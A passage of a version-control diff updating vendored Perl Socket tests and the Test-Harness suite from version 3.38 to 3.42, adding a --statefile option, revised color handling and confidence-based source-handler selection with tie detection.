-    skip "Cannot pack_sockaddr_in6()", 9 unless my $sin6 = eval { Socket::pack_sockaddr_in6(0x1234, "0123456789abcdef", 0, 89) };
+    skip "No AF_INET6", 13 unless my $AF_INET6 = eval { Socket::AF_INET6() };
+    skip "Cannot pack_sockaddr_in6()", 13 unless my $sin6 = eval { Socket::pack_sockaddr_in6(0x1234, "0123456789abcdef", 0, 89) };
 
     ok(defined $sin6, 'pack_sockaddr_in6 defined');
 
@@ -104,12 +117,24 @@
 
     is(sockaddr_family(scalar Socket::sockaddr_in6(0x1357, "02468ace13579bdf")), $AF_INET6,
         'sockaddr_in6 in scalar context packs' );
+
+    my $warnings = 0;
+    local $SIG{__WARN__} = sub { $warnings++ };
+    ok( !eval { Socket::pack_sockaddr_in6( 0, undef ); 1 },
+        'pack_sockaddr_in6 undef addr is fatal' );
+    ok( !eval { Socket::unpack_sockaddr_in6( undef ); 1 },
+        'unpack_sockaddr_in6 undef is fatal' );
+
+    ok( eval { Socket::pack_sockaddr_in6( undef, "\0"x16 ); 1 },
+        'pack_sockaddr_in6 undef port is allowed' );
+
+    is( $warnings, 0, 'undefined values produced no warnings' );
 }
 
-# sockaddr_un
+# sockaddr_un on abstract paths
 SKIP: {
     # see if we can handle abstract sockets
-    skip "Abstract AF_UNIX paths unsupported", 2 unless $^O eq "linux";
+    skip "Abstract AF_UNIX paths unsupported", 7 unless $^O eq "linux";
 
     my $test_abstract_socket = chr(0) . '/org/perl/hello'. chr(0) . 'world';
     my $addr = sockaddr_un ($test_abstract_socket);
@@ -118,6 +143,19 @@
 
     # see if we calculate the address structure length correctly
     is(length ($test_abstract_socket) + 2, length $addr, 'sockaddr_un abstract address length');
+
+    my $warnings = 0;
+    local $SIG{__WARN__} = sub { $warnings++ };
+    ok( !eval { pack_sockaddr_un( undef ); 1 },
+        'pack_sockaddr_un undef path is fatal' );
+    ok( !eval { unpack_sockaddr_un( undef ); 1 },
+        'unpack_sockaddr_un undef is fatal' );
+
+    is( $warnings, 0, 'undefined values produced no warnings' );
+
+    ok( eval { pack_sockaddr_un( "x" x 0x10000 ); 1 },
+        'pack_sockaddr_un(very long path) succeeds' ) or diag( "Died: $@" );
+    is( $warnings, 1, 'pack_sockaddr_in(very long path) warns' );
 }
 
 # warnings

Modified: vendor/perl/dist/cpan/Socket/t/socketpair.t
===================================================================
--- vendor/perl/dist/cpan/Socket/t/socketpair.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Socket/t/socketpair.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -83,7 +83,7 @@
 
 ok (socketpair (LEFT, RIGHT, AF_UNIX, SOCK_STREAM, PF_UNSPEC),
     "socketpair (LEFT, RIGHT, AF_UNIX, SOCK_STREAM, PF_UNSPEC)")
-    or print "# \$\! = $!\n";
+    or print STDERR "# \$\! = $!\n";
 
 if ($has_perlio) {
     binmode(LEFT,  ":bytes");
@@ -148,7 +148,7 @@
     # should help
     $! = $err;
     ok (($!{EPIPE} or $!{ESHUTDOWN}), '$! should be EPIPE or ESHUTDOWN')
-	or printf "\$\!=%d(%s)\n", $err, $err;
+	or printf STDERR "# \$\! = %d (%s)\n", $err, $err;
 }
 
 my @gripping = (chr 255, chr 127);
@@ -178,7 +178,7 @@
 
     ok (socketpair (LEFT, RIGHT, AF_UNIX, SOCK_DGRAM, PF_UNSPEC),
 	"socketpair (LEFT, RIGHT, AF_UNIX, SOCK_DGRAM, PF_UNSPEC)")
-	or print "# \$\! = $!\n";
+	or print STDERR "# \$\! = $!\n";
 
     if ($has_perlio) {
 	binmode(LEFT,  ":bytes");

Modified: vendor/perl/dist/cpan/Test-Harness/bin/prove
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/bin/prove	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/bin/prove	2018-12-22 22:55:19 UTC (rev 12126)
@@ -72,6 +72,7 @@
  -a,  --archive out.tgz Store the resulting TAP in an archive file.
  -j,  --jobs N          Run N test jobs in parallel (try 9.)
       --state=opts      Control prove's persistent state.
+      --statefile=file  Use `file` instead of `.prove` for state
       --rc=rcfile       Process options from rcfile
       --rules           Rules for parallel vs sequential processing.
 
@@ -109,12 +110,12 @@
 
 =head2 Colored Test Output
 
-Colored test output using L<TAP::Formatter::Color> is the default, but 
-if output is not to a terminal, color is disabled. You can override this by 
+Colored test output using L<TAP::Formatter::Color> is the default, but
+if output is not to a terminal, color is disabled. You can override this by
 adding the C<--color> switch.
 
-Color support requires L<Term::ANSIColor> on Unix-like platforms and
-L<Win32::Console> on windows. If the necessary module is not installed
+Color support requires L<Term::ANSIColor> and, on windows platforms, also
+L<Win32::Console::ANSI>. If the necessary module(s) are not installed
 colored output will not be available.
 
 =head2 Exit Code

Modified: vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,11 +9,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,11 +14,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,11 +25,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/App/Prove.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/App/Prove.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/App/Prove.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,11 +18,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 
@@ -59,6 +59,7 @@
       verbose warnings_fail warnings_warn show_help show_man show_version
       state_class test_args state dry extensions ignore_exit rules state_manager
       normalize sources tapversion trap
+      statefile
     );
     __PACKAGE__->mk_methods(@ATTR);
 }
@@ -229,6 +230,7 @@
             'M=s@'         => $self->{modules},
             'P=s@'         => $self->{plugins},
             'state=s@'     => $self->{state},
+            'statefile=s'  => \$self->{statefile},
             'directives'   => \$self->{directives},
             'h|help|?'     => \$self->{show_help},
             'H|man'        => \$self->{show_man},
@@ -279,7 +281,7 @@
 sub _color_default {
     my $self = shift;
 
-    return -t STDOUT && !$ENV{HARNESS_NOTTY} && !IS_WIN32;
+    return -t STDOUT && !$ENV{HARNESS_NOTTY};
 }
 
 sub _get_args {
@@ -479,7 +481,7 @@
 
     unless ( $self->state_manager ) {
         $self->state_manager(
-            $self->state_class->new( { store => STATE_FILE } ) );
+            $self->state_class->new( { store => $self->statefile || STATE_FILE } ) );
     }
 
     if ( $self->show_help ) {

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Base.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Base.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Base.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,11 +12,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 use constant GOT_TIME_HIRES => do {
     eval 'use Time::HiRes qw(time);';

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Base.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Base.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Base.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -58,11 +58,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Color.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Color.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Color.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,56 +12,24 @@
 BEGIN {
     $NO_COLOR = 0;
 
+    eval 'require Term::ANSIColor';
+    if ($@) {
+        $NO_COLOR = $@;
+    };
     if (IS_WIN32) {
-        eval 'use Win32::Console';
+        eval 'use Win32::Console::ANSI';
         if ($@) {
             $NO_COLOR = $@;
         }
-        else {
-            my $console = Win32::Console->new( STD_OUTPUT_HANDLE() );
+    };
 
-            # eval here because we might not know about these variables
-            my $fg = eval '$FG_LIGHTGRAY';
-            my $bg = eval '$BG_BLACK';
-
-            *set_color = sub {
-                my ( $self, $output, $color ) = @_;
-
-                my $var;
-                if ( $color eq 'reset' ) {
-                    $fg = eval '$FG_LIGHTGRAY';
-                    $bg = eval '$BG_BLACK';
-                }
-                elsif ( $color =~ /^on_(.+)$/ ) {
-                    $bg = eval '$BG_' . uc($1);
-                }
-                else {
-                    $fg = eval '$FG_' . uc($color);
-                }
-
-                # In case of colors that aren't defined
-                $self->set_color('reset')
-                  unless defined $bg && defined $fg;
-
-                $console->Attr( $bg | $fg );
-            };
-        }
-    }
-    else {
-        eval 'use Term::ANSIColor';
-        if ($@) {
-            $NO_COLOR = $@;
-        }
-        else {
-            *set_color = sub {
-                my ( $self, $output, $color ) = @_;
-                $output->( color($color) );
-            };
-        }
-    }
-
     if ($NO_COLOR) {
         *set_color = sub { };
+    } else {
+        *set_color = sub {
+            my ( $self, $output, $color ) = @_;
+            $output->( Term::ANSIColor::color($color) );
+        };
     }
 }
 
@@ -71,11 +39,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 
@@ -87,7 +55,7 @@
 Skipped tests are blue on a white background and TODO tests are printed in
 white.
 
-If L<Term::ANSIColor> cannot be found (or L<Win32::Console> if running
+If L<Term::ANSIColor> cannot be found (and L<Win32::Console::ANSI> if running
 under Windows) tests will be run without color.
 
 =head1 SYNOPSIS

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -41,11 +41,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,11 +26,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,11 +10,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,11 +13,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Session.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Session.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Session.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,11 +23,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 METHODS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness/Env.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness/Env.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness/Env.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 use TAP::Object;
 use Text::ParseWords qw/shellwords/;
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 # Get the parts of @INC which are changed from the stock list AND
 # preserve reordering of stock directories.
@@ -126,7 +126,7 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,11 +16,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 $ENV{HARNESS_ACTIVE}  = 1;
 $ENV{HARNESS_VERSION} = $VERSION;

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Object.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Object.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Object.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,11 +9,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,11 +12,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,11 +14,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 
@@ -178,7 +178,7 @@
     my %v13 = (
         %v12,
         plan => {
-            syntax  => qr/^1\.\.(\d+)(?:\s*#\s*SKIP\b(.*))?\z/i,
+            syntax  => qr/^1\.\.(\d+)\s*(?:\s*#\s*SKIP\b(.*))?\z/i,
             handler => sub {
                 my ( $self, $line ) = @_;
                 my ( $tests_planned, $explanation ) = ( $1, $2 );

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,11 +16,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 
@@ -90,6 +90,16 @@
     close delete $self->{fh};
 }
 
+sub get_select_handles {
+    my $self = shift;
+
+    # return our handle in case it's a socket or pipe (select()-able)
+    return ( $self->{fh}, )
+        if (-S $self->{fh} || -p $self->{fh});
+
+    return;
+}
+
 1;
 
 =head1 ATTRIBUTION

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,11 +16,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 
@@ -243,19 +243,14 @@
     confess('no raw source ref defined!') unless defined $source->raw;
 
     # find a list of handlers that can handle this source:
-    my %handlers;
-    for my $dclass ( @{ $self->handlers } ) {
-        my $confidence = $dclass->can_handle($source);
-
-        # warn "handler: $dclass: $confidence\n";
-        $handlers{$dclass} = $confidence if $confidence;
+    my %confidence_for;
+    for my $handler ( @{ $self->handlers } ) {
+        my $confidence = $handler->can_handle($source);
+        # warn "handler: $handler: $confidence\n";
+        $confidence_for{$handler} = $confidence if $confidence;
     }
 
-    if ( !%handlers ) {
-
-        # use Data::Dump qw( pp );
-        # warn pp( $meta );
-
+    if ( !%confidence_for ) {
         # error: can't detect source
         my $raw_source_short = substr( ${ $source->raw }, 0, 50 );
         confess("Cannot detect source of '$raw_source_short'!");
@@ -263,23 +258,30 @@
     }
 
     # if multiple handlers can handle it, choose the most confident one
-    my @handlers = (
-        map    {$_}
-          sort { $handlers{$a} cmp $handlers{$b} }
-          keys %handlers
-    );
+    my @handlers =
+          sort { $confidence_for{$b} <=> $confidence_for{$a} }
+          keys %confidence_for;
 
+    # Check for a tie.
+    if( @handlers > 1 &&
+        $confidence_for{$handlers[0]} == $confidence_for{$handlers[1]}
+    ) {
+        my $filename = $source->meta->{file}{basename};
+        die("There is a tie between $handlers[0] and $handlers[1].\n".
+            "Both voted $confidence_for{$handlers[0]} on $filename.\n");
+    }
+
     # this is really useful for debugging handlers:
     if ( $ENV{TAP_HARNESS_SOURCE_FACTORY_VOTES} ) {
         warn(
             "votes: ",
-            join( ', ', map {"$_: $handlers{$_}"} @handlers ),
+            join( ', ', map {"$_: $confidence_for{$_}"} @handlers ),
             "\n"
         );
     }
 
     # return 1st
-    return pop @handlers;
+    return $handlers[0];
 }
 
 1;

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,11 +17,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,11 +11,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,11 +24,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -29,11 +29,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head2 DESCRIPTION
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm	2018-11-30 20:25:27 UTC (rev 12125)
